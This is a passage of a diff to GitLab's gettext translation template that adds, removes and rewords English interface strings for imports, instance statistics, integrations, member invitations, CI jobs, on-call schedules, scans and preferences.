msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18268,6 +18681,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18382,6 +18813,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
